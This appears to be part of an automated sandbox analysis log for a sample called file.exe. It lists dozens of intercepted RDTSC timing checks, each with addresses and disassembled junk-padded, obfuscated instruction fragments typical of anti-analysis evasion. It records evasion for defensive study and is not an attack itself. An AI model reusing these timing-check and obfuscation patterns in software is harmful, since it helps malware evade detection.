Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47C52A second address: 47C52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47D4AB second address: 47D4AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47C7D6 second address: 47C7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47C7DA second address: 47C7DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48046B second address: 480471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 480471 second address: 480477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47B6E9 second address: 47B712 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jl 00007FF2192CCE12h 0x00000011 jmp 00007FF2192CCE0Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 480477 second address: 480492 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e jno 00007FF218C0A9D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47B712 second address: 47B716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47B7D6 second address: 47B7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47F615 second address: 47F619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4816CB second address: 4816DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF218C0A9DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 480678 second address: 48067E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48267B second address: 482683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4818ED second address: 4818F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48EB36 second address: 48EB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E365 second address: 48E369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E369 second address: 48E36D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E36D second address: 48E379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E379 second address: 48E37F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E37F second address: 48E385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E385 second address: 48E38A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E38A second address: 48E390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E390 second address: 48E396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E396 second address: 48E3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF2192CCE18h 0x0000000c jmp 00007FF2192CCE0Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E50F second address: 48E515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E515 second address: 48E522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48E522 second address: 48E526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493D64 second address: 493D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493E70 second address: 493E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493F39 second address: 493F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493F3D second address: 493F51 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF218C0A9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493F51 second address: 493F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493F55 second address: 493F59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493F59 second address: 493F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493F5F second address: 493FBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF218C0A9E0h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 jmp 00007FF218C0A9E1h 0x00000015 jmp 00007FF218C0A9E4h 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jbe 00007FF218C0A9D6h 0x00000028 jmp 00007FF218C0A9DDh 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498952 second address: 498956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498956 second address: 49895E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49895E second address: 498964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498964 second address: 49896E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49896E second address: 498974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498ACF second address: 498AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498AD5 second address: 498AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498AE0 second address: 498AEF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF218C0A9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498DE6 second address: 498DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF2192CCE0Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498DFF second address: 498E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498E03 second address: 498E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49C8A0 second address: 49C8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF218C0A9D6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49C8AB second address: 49C8C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF2192CCE15h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49C8C6 second address: 49C8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A1255 second address: 4A126F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE16h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A14E1 second address: 4A14EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A14EA second address: 4A14EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A1911 second address: 4A1917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A1A84 second address: 4A1A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A1A8A second address: 4A1A96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A1A96 second address: 4A1AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF2192CCE06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A1C2F second address: 4A1C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A1EB9 second address: 4A1ED0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A1ED0 second address: 4A1EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A75B8 second address: 4A75C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A785F second address: 4A7863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A7863 second address: 4A7867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A7867 second address: 4A7882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF218C0A9E5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A7882 second address: 4A788C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FF2192CCE06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A788C second address: 4A78B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF218C0A9DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007FF218C0A9DEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A78B1 second address: 4A78C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF2192CCE0Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A78C7 second address: 4A78D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF218C0A9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A78D1 second address: 4A78D7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A7BB0 second address: 4A7BC6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FF218C0A9D6h 0x00000010 jnc 00007FF218C0A9D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A72ED second address: 4A72F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A72F3 second address: 4A730C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A82A9 second address: 4A82BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FF2192CCE06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007FF2192CCE0Eh 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AC2E0 second address: 4AC2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AC2E4 second address: 4AC2E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46F82D second address: 46F831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46FDD6 second address: 46FDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46FDDA second address: 46FDDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46FF67 second address: 46FF7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46FF7D second address: 46FF81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46FF81 second address: 46FF96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46FF96 second address: 46FFA0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF218C0A9DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 470041 second address: 470046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4705EC second address: 4705F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4705F0 second address: 470647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jl 00007FF2192CCE0Bh 0x00000010 sub di, 6642h 0x00000015 push 0000001Eh 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FF2192CCE08h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D29ECh], edx 0x00000037 nop 0x00000038 jmp 00007FF2192CCE0Fh 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jnl 00007FF2192CCE08h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 470647 second address: 47064D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47064D second address: 470651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 470651 second address: 470655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 470986 second address: 470A21 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FF2192CCE08h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 add dword ptr [ebp+122D2E0Eh], esi 0x0000002d movzx edx, cx 0x00000030 lea eax, dword ptr [ebp+1248453Bh] 0x00000036 movzx edx, ax 0x00000039 push eax 0x0000003a jne 00007FF2192CCE17h 0x00000040 mov dword ptr [esp], eax 0x00000043 push 00000000h 0x00000045 push ebx 0x00000046 call 00007FF2192CCE08h 0x0000004b pop ebx 0x0000004c mov dword ptr [esp+04h], ebx 0x00000050 add dword ptr [esp+04h], 00000014h 0x00000058 inc ebx 0x00000059 push ebx 0x0000005a ret 0x0000005b pop ebx 0x0000005c ret 0x0000005d clc 0x0000005e lea eax, dword ptr [ebp+124844F7h] 0x00000064 mov dl, A3h 0x00000066 mov ch, 4Eh 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FF2192CCE15h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B111B second address: 4B1122 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1122 second address: 4B1128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1128 second address: 4B1141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FF218C0A9E0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1141 second address: 4B1165 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnp 00007FF2192CCE0Eh 0x00000013 pushad 0x00000014 popad 0x00000015 ja 00007FF2192CCE06h 0x0000001b pushad 0x0000001c jp 00007FF2192CCE06h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1165 second address: 4B1186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF218C0A9E8h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1186 second address: 4B118A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B18BC second address: 4B18C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B18C0 second address: 4B18C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B18C6 second address: 4B18D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B18D0 second address: 4B18D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B18D6 second address: 4B18DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B18DA second address: 4B18E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1A1B second address: 4B1A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FF218C0A9D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1A2A second address: 4B1A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42C633 second address: 42C637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
